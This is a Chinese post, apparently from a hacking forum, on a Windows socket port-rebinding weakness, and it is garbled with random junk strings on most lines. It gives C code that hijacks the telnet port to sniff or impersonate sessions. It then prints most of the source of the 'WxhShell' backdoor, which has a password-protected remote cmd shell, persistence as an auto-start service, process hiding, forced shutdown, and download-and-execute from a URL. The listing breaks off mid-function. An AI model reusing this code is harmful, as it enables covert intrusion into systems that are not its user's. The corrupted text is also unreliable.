在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iR4,$Nn> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5Dh&ez`oR' $(<*pU saddr.sin_family = AF_INET;
Q=9VuTE EzY
scX.[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fh5^Gd~
s*A|9uf5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jak|LOp h^3Vd K, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E'6z7m. |Y,X=Ed 这意味着什么?意味着可以进行如下的攻击:
XQ?) W1M/Z[h6)5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
KTS7)2ci 4 9+}OIX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c+
H)1Dfq n*]x02:LjZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A5J#x6@ ?)ZLxLV:: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DW;.R<8 D/!G]hx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BtDgv.;GH ?(XX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U S~JLJI A UO0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9cHNwgD>v Y{\2wU!Isn #include
s?gXp{O?X #include
@x\gk5 #include
(4/`@;[ #include
P24 DWORD WINAPI ClientThread(LPVOID lpParam);
9H Bx[2& int main()
k@X
As {
_[6+FdS], WORD wVersionRequested;
eXtF[0f DWORD ret;
,@j&q WSADATA wsaData;
), x3tTR BOOL val;
=I*ZOE3n SOCKADDR_IN saddr;
B?>#cpWj SOCKADDR_IN scaddr;
)}Mt'd int err;
enO=-# SOCKET s;
a>e
1jM[ SOCKET sc;
2LK*Cv[ int caddsize;
jZgnt{ HANDLE mt;
`[R:L.H1 DWORD tid;
pl? J<48 wVersionRequested = MAKEWORD( 2, 2 );
SF}L3/C&h err = WSAStartup( wVersionRequested, &wsaData );
kA$;vbm if ( err != 0 ) {
>w'?DV>u| printf("error!WSAStartup failed!\n");
gbi~!S- return -1;
w[7HY@[ }
l=G#gKE saddr.sin_family = AF_INET;
a}8>(jtSt w2_I/s6B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>5Rw~ 3R96;d; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
dXSb%ho saddr.sin_port = htons(23);
AHg4kG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?@7|Q/ {
ErUk>V printf("error!socket failed!\n");
l<:)rg^, return -1;
eFI9S.6 }
>WG91b<Xq val = TRUE;
dJgOfg^ //SO_REUSEADDR选项就是可以实现端口重绑定的
E;*TRr>< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$+yQ48Wq {
3xR#,22:} printf("error!setsockopt failed!\n");
1 jd=R7 return -1;
9U%}"uE }
;R>42
qYF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|zegnq~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i}12mjF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rs)aEmvC xH.q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X|0`$f {
{.[,ee-)9 ret=GetLastError();
v}t:}M<; printf("error!bind failed!\n");
gG|1$ return -1;
D+nj[8y }
8c'-eT" listen(s,2);
U\plt%2m> while(1)
s.Ic3ITd, {
rY+1s^F caddsize = sizeof(scaddr);
|0Ug~jKU //接受连接请求
7o%|R2mL} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{@`Uf;hPAX if(sc!=INVALID_SOCKET)
=*G'.D /* {
]uXsl0'`V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ho*RLVI0U if(mt==NULL)
Aba%Gh {
!c' ;L' printf("Thread Creat Failed!\n");
}tg n1xpx break;
`RLrT34 }
1T^L) %&p_ }
" ~hj B CloseHandle(mt);
H s 3*OhK\ }
Or~6t}f closesocket(s);
:l[Q WSACleanup();
!q1^X% a return 0;
$6+P&"8 }
= nN*9HRD DWORD WINAPI ClientThread(LPVOID lpParam)
/1@m#ZxA: {
mhSsOmJ5 SOCKET ss = (SOCKET)lpParam;
DFH6.0UW SOCKET sc;
(9lx5 unsigned char buf[4096];
WM7/|.HQ SOCKADDR_IN saddr;
> %*X2'^ long num;
+ {dIs DWORD val;
e;Z`& DWORD ret;
+opN\`
//如果是隐藏端口应用的话,可以在此处加一些判断
9`VF
[*
9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'%7]xp saddr.sin_family = AF_INET;
{Z;GNMO: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jCa;g{#@ saddr.sin_port = htons(23);
BFRSYwPr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X+BSneu {
*g}&&$b0 printf("error!socket failed!\n");
XsMphZnK return -1;
Lu5.$b }
)x s, val = 100;
j ZafwBi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M- A}(r +J {
55en
D ret = GetLastError();
!~kzxY return -1;
$S ("-3 }
f@g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n#,l&Bx {
u{d` ret = GetLastError();
-JQg{A return -1;
tS@/Bq('B }
D'+8]B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
IH}L1i A) {
Ez-o*& printf("error!socket connect failed!\n");
fL:Fn"Nv closesocket(sc);
BS.6d}G4 closesocket(ss);
nJ@hzK. return -1;
{bEEQCweNJ }
qa?y lR"kA while(1)
gWPa8q<b {
2J;CiEB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
xUoY|$fI //如果是嗅探内容的话,可以再此处进行内容分析和记录
c^k.
<EA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?Ea"%z*c5 num = recv(ss,buf,4096,0);
u{z{3fW_ if(num>0)
#+\G-
=- send(sc,buf,num,0);
9mm(?O~'p else if(num==0)
`7ZJB$7D|* break;
'& :"/4@) num = recv(sc,buf,4096,0);
gV;GC{pY if(num>0)
'+wTrW m~j send(ss,buf,num,0);
bc-)y3gHU else if(num==0)
vL0Ol-Vt break;
6Fb~`J~s }
dG+xr! closesocket(ss);
*@^0xz{\z closesocket(sc);
zBfBYhS- return 0 ;
[t'"4 }
\:7EKzQ //|Vj | = P!EX;+7+x ==========================================================
g7-K62bb ^Quy64M 下边附上一个代码,,WXhSHELL
RJD3o_("K U4JN,`p{ ==========================================================
] fB{ _{%H*PxTn= #include "stdafx.h"
8E{>czF" PMcyQ2R-> #include <stdio.h>
!C?z$5g #include <string.h>
\9^@,kfP #include <windows.h>
"N_?yA#(j #include <winsock2.h>
tAUMSr|? #include <winsvc.h>
nc)`ISI #include <urlmon.h>
H_^c K 7O#>N}| #pragma comment (lib, "Ws2_32.lib")
W{d/m;<@N #pragma comment (lib, "urlmon.lib")
1\uS~RR <Vb{QOgc; #define MAX_USER 100 // 最大客户端连接数
{{\HU0g>& #define BUF_SOCK 200 // sock buffer
Z%R^;8 !~ #define KEY_BUFF 255 // 输入 buffer
Dl{Pd`D ,d#4Ib #define REBOOT 0 // 重启
cALs;)z #define SHUTDOWN 1 // 关机
%s>E@[s +fN0>@s #define DEF_PORT 5000 // 监听端口
KMZ`Wn= rf@81Ds #define REG_LEN 16 // 注册表键长度
|*i-Q @
D #define SVC_LEN 80 // NT服务名长度
WW=7QCi ?|\Lm3%J // 从dll定义API
h>?OWI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kTV D4Z= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Tx_LH"8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7Z_iQ1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)SuJK.IF 3]acfCacC // wxhshell配置信息
VbjW$? struct WSCFG {
p
WH u[Fu int ws_port; // 监听端口
.anL}OA_q char ws_passstr[REG_LEN]; // 口令
uHYI :(O int ws_autoins; // 安装标记, 1=yes 0=no
,U}8(D~: char ws_regname[REG_LEN]; // 注册表键名
75y#^pD?c char ws_svcname[REG_LEN]; // 服务名
b%(0AL char ws_svcdisp[SVC_LEN]; // 服务显示名
<>TBM^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
yyc&'J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3B+Rx;>h int ws_downexe; // 下载执行标记, 1=yes 0=no
iKwVYL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.PgkHb=l@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*6L^A`_1] x{E[qH_1Fm };
ln5On_Wm &BkNkb 0 // default Wxhshell configuration
~gN'";1i struct WSCFG wscfg={DEF_PORT,
7+"X^$ "xuhuanlingzhe",
U N/.T
1,
) =[Tgh "Wxhshell",
0U'r ia:$ "Wxhshell",
<,{v>vlw "WxhShell Service",
R[QE:#hT "Wrsky Windows CmdShell Service",
C;` fOCz^ "Please Input Your Password: ",
jolCR-FDu 1,
@)B_e*6>' "
http://www.wrsky.com/wxhshell.exe",
"<n{/x( "Wxhshell.exe"
DWAU8>c+ };
@,]v'l!u [>E0(S] // 消息定义模块
`*]r.u0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
})B)-8 char *msg_ws_prompt="\n\r? for help\n\r#>";
^:BRbp37i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\MU4"sXw char *msg_ws_ext="\n\rExit.";
~$`b{ char *msg_ws_end="\n\rQuit.";
&N EzKf char *msg_ws_boot="\n\rReboot...";
JsV#: char *msg_ws_poff="\n\rShutdown...";
{q^KlSjm char *msg_ws_down="\n\rSave to ";
DQSv'!KFO ee0J;pP2# char *msg_ws_err="\n\rErr!";
/bWV`* char *msg_ws_ok="\n\rOK!";
Rd2[xk (<12&=WxE char ExeFile[MAX_PATH];
wZ^/- int nUser = 0;
4{|lzo'& HANDLE handles[MAX_USER];
J [1GP_ int OsIsNt;
x;+,lP xK/`XY SERVICE_STATUS serviceStatus;
wgrYZ^] SERVICE_STATUS_HANDLE hServiceStatusHandle;
&7 ,wdG T*oH tpFj# // 函数声明
hRP0Djc int Install(void);
,#crtX int Uninstall(void);
^/c|s!U^ int DownloadFile(char *sURL, SOCKET wsh);
z#y<QH int Boot(int flag);
JOMZ&c^ void HideProc(void);
thh, V int GetOsVer(void);
C oaqi`v4T int Wxhshell(SOCKET wsl);
nJ,56}
void TalkWithClient(void *cs);
L2 I/h`n" int CmdShell(SOCKET sock);
7Qo*u;fr int StartFromService(void);
]SQ_*$` int StartWxhshell(LPSTR lpCmdLine);
@t_<oOI2 kz#DBh!& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!n7?w@2a' VOID WINAPI NTServiceHandler( DWORD fdwControl );
5+U~ZW0|+ I0Vm^\8 // 数据结构和表定义
8w{V[@QLn SERVICE_TABLE_ENTRY DispatchTable[] =
xe5>)\18- {
rJAY7/u {wscfg.ws_svcname, NTServiceMain},
"PX~Yc {NULL, NULL}
|PWLFiT(> };
Qwb@3{ IcA]<}0!"v // 自我安装
r@_;L> int Install(void)
8'zwyd3 {
c6e?)(V> char svExeFile[MAX_PATH];
_%t w#cM HKEY key;
`q F:rQ strcpy(svExeFile,ExeFile);
lU\|F5O@# qB8<(vBP+ // 如果是win9x系统,修改注册表设为自启动
%hXa5}JL if(!OsIsNt) {
}Iu 6]?|' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}RD,JgmV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6:e0?R^aD" RegCloseKey(key);
NWKD:{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1r;Q5[@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
46mu,v RegCloseKey(key);
"dA"N$ return 0;
&oT]ycz% }
tvd/Y|bV= }
)&*&ZL0 }
Jap
v<lV% else {
0hPm,H*Y] aUd633 // 如果是NT以上系统,安装为系统服务
h322^24-2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
il:+O08_ if (schSCManager!=0)
_3)~{dQ+ {
g
>X!Q SC_HANDLE schService = CreateService
F.JE$)B2EX (
nF7Ozxm# schSCManager,
#*~#t4S- wscfg.ws_svcname,
^D!UF(H wscfg.ws_svcdisp,
aa$+( SERVICE_ALL_ACCESS,
6n>+cX>E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GLEGyT?~ SERVICE_AUTO_START,
%R}}1 SERVICE_ERROR_NORMAL,
Rrs z{a
svExeFile,
UA{A G; NULL,
&Uzg&eB NULL,
A H`6)v<f NULL,
gPDc6{/C< NULL,
;0ake%v] NULL
'GAjx{gM );
,KZ_#9[> if (schService!=0)
@*F
NWT6 {
0'a.Ypf CloseServiceHandle(schService);
U*)pUJ{&t CloseServiceHandle(schSCManager);
=T9QmEBm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$LKniK strcat(svExeFile,wscfg.ws_svcname);
i/~A7\:8% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
x#'#
~EO-G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/I="+ RegCloseKey(key);
M,NYF`;a return 0;
ZE4~rq/W }
mlX^5h' }
Fz-Bd*uS CloseServiceHandle(schSCManager);
o ;.j_ }
$n!saPpxS }
`j@2[XdHu ij/ |~-! return 1;
@ 3FTf"#Y }
![ Fb~Egc 7n
{uxE#U) // 自我卸载
q0$}MB6 int Uninstall(void)
Xn4U!<RT" {
}VdohX- HKEY key;
jeC3}BL} DjtUX>e if(!OsIsNt) {
1Qv5m^>vj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]r{y+g| RegDeleteValue(key,wscfg.ws_regname);
Q
R;Xj3]v RegCloseKey(key);
"Qm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lkOugjI RegDeleteValue(key,wscfg.ws_regname);
`9%@{Ryo RegCloseKey(key);
v-EcJj% return 0;
1%t9ic }
d XrLeoK }
"\Z.YZUa\ }
*RivZ
c9;P else {
(;V6L{Rf> BA53
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|I6\_K.=L if (schSCManager!=0)
WM~@/J {
/{^Qup SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WL+I)n8~ if (schService!=0)
NO8)XJ3s {
_5y3<H<? if(DeleteService(schService)!=0) {
U)o(}:5xF CloseServiceHandle(schService);
?x=;?7 CloseServiceHandle(schSCManager);
C8%q?.nH= return 0;
Ak^g#^c* }
):31!IC CloseServiceHandle(schService);
#zyEN+ }
)u`q41! CloseServiceHandle(schSCManager);
FTsvPLIv" }
EE=!Y NP] }
0ERA(=w5 QGs\af return 1;
-xPv]j$ }
1!~=8FTv |1uyJ?%B // 从指定url下载文件
*shE-w;C int DownloadFile(char *sURL, SOCKET wsh)
s sUWr=mD {
-J[*fv@ HRESULT hr;
sFuB[
JJ} char seps[]= "/";
V'K1kYb char *token;
:=C-P7
char *file;
&Rdg07e;> char myURL[MAX_PATH];
]nY,%XE char myFILE[MAX_PATH];
Qo+I98LX[ 6w|s1!Bl strcpy(myURL,sURL);
>|'u:`A token=strtok(myURL,seps);
W_8N?coM while(token!=NULL)
q' fZA; {
b*&AIiT file=token;
Z9,-FO{#3- token=strtok(NULL,seps);
F[RQ6PW }
Nk*d=vj $aDAD4mmm GetCurrentDirectory(MAX_PATH,myFILE);
\R\?`8Orz strcat(myFILE, "\\");
p#go<Y# strcat(myFILE, file);
XEl-5-M" send(wsh,myFILE,strlen(myFILE),0);
;89 `!V O send(wsh,"...",3,0);
T)?:q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h fZY5+Z< if(hr==S_OK)
|WwC@3) return 0;
gqJSz}' else
H0r@dn return 1;
I7,5ID4pn F,5~a_GP? }
]-]K4*{ f9ux+XQk9 // 系统电源模块
k+b!Lw!L int Boot(int flag)
jwhc;y {
jMr [UZ HANDLE hToken;
|C"(K-do TOKEN_PRIVILEGES tkp;
=z#6mSx|W
i[_B~/_ if(OsIsNt) {
'-c
*S]: r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
tqbYrF) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-|V1A[ tkp.PrivilegeCount = 1;
imw,Nb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"%]<Co<S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?"04u*u3 if(flag==REBOOT) {
)}w2'(!X8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
PgHe;^?j return 0;
5argw+2s4$ }
x#
M MrV&M else {
m' HAt~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|z1er"zR) return 0;
89n\$7Ff9 }
&Z'3n9zl }
S7a05NO else {
>V1vw7Pa if(flag==REBOOT) {
+guCTGD: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3ScOJo return 0;
,6VY S\a3 }
r)<c
~\0 7 else {
TP3KT) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M]|tXo$? return 0;
t^Z-0jH }
kA/4W^]Ws }
pNUe|b+P b:B+x6M return 1;
4,EX2 }
p.@kv 6sjd:~J: // win9x进程隐藏模块
cvOCBg38BH void HideProc(void)
'_ZiZ4O {
T8^`<gr. Ob!NC& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&6="r} if ( hKernel != NULL )
VN3[B
eH {
^5E:hW[* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~t+T5`K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aFw \w>*^ FreeLibrary(hKernel);
kB[l6` }
O,.c gX
'Nkd * return;
-XASS% }
kF]sy8u] l6_dVK;s // 获取操作系统版本
iHa:6 int GetOsVer(void)
wE~&Y?^ {
CH9Psr78 OSVERSIONINFO winfo;
x3AAn,m8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
CKE):kHu GetVersionEx(&winfo);
MD9 8N{+[| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E4N/or return 1;
y:',)f } else
<>v=jH|L return 0;
$U=j<^R}a }
l"zwH
o'EJ,8 // 客户端句柄模块
-#Bk int Wxhshell(SOCKET wsl)
u_HCXpP!Q {
{k}$L|w SOCKET wsh;
=O%Hf bx struct sockaddr_in client;
G!)Q"+ DWORD myID;
gCV+amP f/95}6M while(nUser<MAX_USER)
YMn*i<m {
[CG3&J int nSize=sizeof(client);
yQcIfl]f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#fx>{ vzH if(wsh==INVALID_SOCKET) return 1;
CSwPL>tUV 1,7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3ncN)E/@ if(handles[nUser]==0)
NR3h|'eC closesocket(wsh);
3*zywcTH else
Lm8uN? nUser++;
BaVooN~C }
=28ZSo^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?WP *At0 ^ 0.` 1$ return 0;
xs6kr }
eC3 ~| G_O G\z5Ue* // 关闭 socket
8kLHQ0pmu void CloseIt(SOCKET wsh)
QXu[<V {
!$NQF/Ol closesocket(wsh);
WJJmM*>JW nUser--;
Z'UhJu D5 ExitThread(0);
}Uu#N H }
hnimd~E52k p%R+ c // 客户端请求句柄
+'/C(5y)0X void TalkWithClient(void *cs)
~ <36vsk {
I@oSRB \`0s %F:V} SOCKET wsh=(SOCKET)cs;
p`2Q6 char pwd[SVC_LEN];
11vAx9 char cmd[KEY_BUFF];
EQtY b"_ char chr[1];
y?V^S;}&] int i,j;
oj/#wF+ I5@8=rFk while (nUser < MAX_USER) {
J#gG*( r=HL!XFk if(wscfg.ws_passstr) {
bU \T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I~GHx5Dk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l(9AwVoAR| //ZeroMemory(pwd,KEY_BUFF);
)(9[> _+40 i=0;
Ft^X[5G4L while(i<SVC_LEN) {
Jcy+(7lE) p9 G{Q // 设置超时
7|xu)zYB fd_set FdRead;
WMa`!Q struct timeval TimeOut;
Y P,>vzW FD_ZERO(&FdRead);
6e S~* FD_SET(wsh,&FdRead);
K$l@0r ~k TimeOut.tv_sec=8;
j}O qWX>/ TimeOut.tv_usec=0;
]N2!
'c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aoQ$"PF9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ejia4(Cd ;F_P<b 2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\.'[!GE *c pwd
=chr[0]; 1Va=.#<
if(chr[0]==0xd || chr[0]==0xa) { F9"Xu-g
pwd=0; b<%c ]z
break; Wecxx^vtv6
} S5kD|kJ
i++; lMl'+ yy
} \ Q^grX
)HcLpoEi
// 如果是非法用户,关闭 socket FTr'I82m(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `-JVz{z
} UfIr"bU6
-
~4na{6x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =W&m{F96
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~{$c|
M0g=gmau
while(1) { s(?%A
rog1
ZeroMemory(cmd,KEY_BUFF); l3*GQ~m7
qyAnq%B}
// 自动支持客户端 telnet标准 l-P6B9e|\
j=0; 5KfrkZ
while(j<KEY_BUFF) { N/'8W9#6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
peHjKK
cmd[j]=chr[0]; i&8|@CACb
if(chr[0]==0xa || chr[0]==0xd) { FQ>kTm`d
cmd[j]=0; ~<-mxOe
break; =~"X/>'
} B&7NF}CF2
j++; dVk(R9 8
} QJ(5o7Tfn
%NfXe[T
// 下载文件 3 yw$<lm
if(strstr(cmd,"http://")) { oHr0;4Lg6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /M'd$k"0z
if(DownloadFile(cmd,wsh)) U{j4FlB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D.-G!0!
else >28l9U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( et W4p
} 6O,:I
else { in5e *
l p(D@FT
switch(cmd[0]) { -Lq2K3JHyn
V1,/qd_
// 帮助 g*(z.
case '?': { LuHRB}W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;aj;(Z.p)
break; AloL+eN@
} ^_i)XdPU
// 安装 G"m?2$^-A
case 'i': { `qYiic%
if(Install()) $2,tT;50g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LR{bNV[i
else Te[v+jgLY,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E
.28G2&
break; 1C<d^D_!p
} V0rQtxE{F
// 卸载 @?3^Ks_
case 'r': { k s\q^ten
if(Uninstall()) -`DYDIr
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
W~2,J4=
else M^Y[Y@U=p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wJ pb$;
break; @HiGc^X(
} wViTMlq
// 显示 wxhshell 所在路径 M.6uWwzQR
case 'p': { ?AD-n6
char svExeFile[MAX_PATH]; 0j;ZPqEf3
strcpy(svExeFile,"\n\r"); w/O'&],x
strcat(svExeFile,ExeFile); 6T|Z4f|
send(wsh,svExeFile,strlen(svExeFile),0); *oeXmY
break; .ARM~{q6)@
} 4# PxJG6m
// 重启 AT+l%%
case 'b': { &6C]|13;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tq~4W% p/
if(Boot(REBOOT)) l^}u S|c(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?P-O4
else { u<uc"KY=
closesocket(wsh); !L8q]]'XM
ExitThread(0); Sir1>YEm
} k2$pcR,WM
break; E0Q6Ryn
} QNINn>2
// 关机 ['Lo8 [
case 'd': { #^r-D[/m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [8UZ5_1W L
if(Boot(SHUTDOWN)) 2oEuqHL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3Q #[
else { _S7?c^:~
closesocket(wsh); 87[ ,.W
ExitThread(0); G![d_F"e
} 4K'U}W
break; g_IcF><F
} .:f ao'
// 获取shell ?8{Os;!je
case 's': { x'|9A?ez@Z
CmdShell(wsh); .`m|Uf#"
_
closesocket(wsh); $x`HmL3Sb
ExitThread(0); !L{mE&
break; MKvmzLh$)
} g*My1+J!
// 退出 o-Dfud@
case 'x': { <uv`)Q 9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XVt;hO
CloseIt(wsh); LwRzzgt
break; x}pH'S7
} "i(f+N,)
// 离开 \t1#5
case 'q': { MymsDdQ]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [n| }>
closesocket(wsh); &_-=(rK
WSACleanup(); uP%VL}%0
exit(1); 7Z`4Kdh .
break; a'|]_`36x
} &Pm@+ML*x
} P$Vh{]4i{
} WN{8gL&y
^8~TsK~
// 提示信息 PdVx&BL*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?i0+h7=6
} :t!J
9
} PvV\b<Pe+
:*,!gf
return; ^|.T\
} *Vq'%b9
0ZDm[#7z
// shell模块句柄 }v2p]D5n.
int CmdShell(SOCKET sock) r3U7`P
{ >^`# %$+
STARTUPINFO si; Mn/
ZeroMemory(&si,sizeof(si)); gizY4~
j
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1}|y^oB\-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,"`3N2!Y}
PROCESS_INFORMATION ProcessInfo; }NwmZw>_
char cmdline[]="cmd"; )e PQxx
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4y+hr
return 0; SaF0JPm4z
} O4f9n
Lf^
7|
// 自身启动模式 AJLzLbV+
int StartFromService(void) /<LjD
{ "?6*W"N9
typedef struct N?{Zrff2"O
{ G@D;_$a
DWORD ExitStatus; [ _xOz4`%
DWORD PebBaseAddress; q1 q~%+Jy
DWORD AffinityMask; #UymD-yII
DWORD BasePriority; Z"Hq{?l9
